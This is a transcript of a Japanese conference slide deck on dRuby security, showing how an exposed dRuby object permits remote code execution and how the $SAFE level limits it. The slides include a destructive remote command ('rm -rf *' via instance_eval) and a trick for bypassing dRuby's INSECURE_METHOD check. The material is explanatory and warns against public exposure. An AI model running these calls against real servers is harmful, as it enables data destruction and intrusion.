druby and security
TRANSCRIPT
dRuby and SecuritydRubyとセキュリティ
西山和広日本Rubyの会
Powered by Rabbit 0.5.7
drubyを不特定多数に向けて公開するのは危険
Security in rdocrdocでのSecurityについての説明
== Security
As with all network services, security needs to be considered whenusing dRuby. By allowing external access to a Ruby object, you arenot only allowing outside clients to call the methods you havedefined for that object, but by default to execute arbitrary Rubycode on your server. Consider the following:
参考訳:あらゆるネットワークサービスと同様に、dRuby を使う場合にはセキュリティを考慮することが欠かせない。ある Ruby オブジェクトへの外部のアクセスを許すことによって、そのオブジェクト向けにあなたが定義したメソッドを外のクライアントが呼び出すことを許しているだけだはなく、そのままだとあなたのサーバ上で任意の Ruby コードを実行することを許していることになる。
2/10
undef and instance_evalrdocに載っている方法 (undefとinstance_eval)
# !!! UNSAFE CODE !!! ro = DRbObject::new_with_uri("druby://your.server.com:8989") class << ro undef :instance_eval # force call to be passed to remote object end ro.instance_eval("`rm -rf *`")
本当にこのまま試すのは危険
3/10
method_missingmethod_missing 直接
ro.method_missing("instance_eval", "`echo hello druby`")
呼び出し側の記述が変わるだけ
出来ることは undef との組み合わせと同じ
4/10
insecure methods # List of insecure methods. # # These methods are not callable via dRuby. INSECURE_METHOD = [ :__send__ ]
drb/drb.rb で禁止されているメソッド
直接呼べない
instance_eval などと組み合わせれば呼べる
send も呼べるのでほとんど制限はない 5/10
Methodsend_method = ro.method_missing(:method, :__send__)send_method.call(:puts, "hello druby!")
Method オブジェクト経由
INSECURE_METHOD のチェックを回避可能
6/10
$SAFEをあげて制限require 'drb'DRb.start_service("druby://localhost:0", nil, :safe_level => 1)puts DRb.uriDRb.thread.join
instance_eval や system などは呼べない
safe level が 1 なら puts は呼べる
7/10
$SAFEでも防げないものDoSを狙うもの
サーバ側で巨大な文字列を生成など
rlimit などの OS の機能で制限
他にもあるかも
8/10
デモ時間があればここでデモ
9/10
まとめdrubyを不特定多数に向けて公開するのは危険
10/10Powered by Rabbit 0.5.7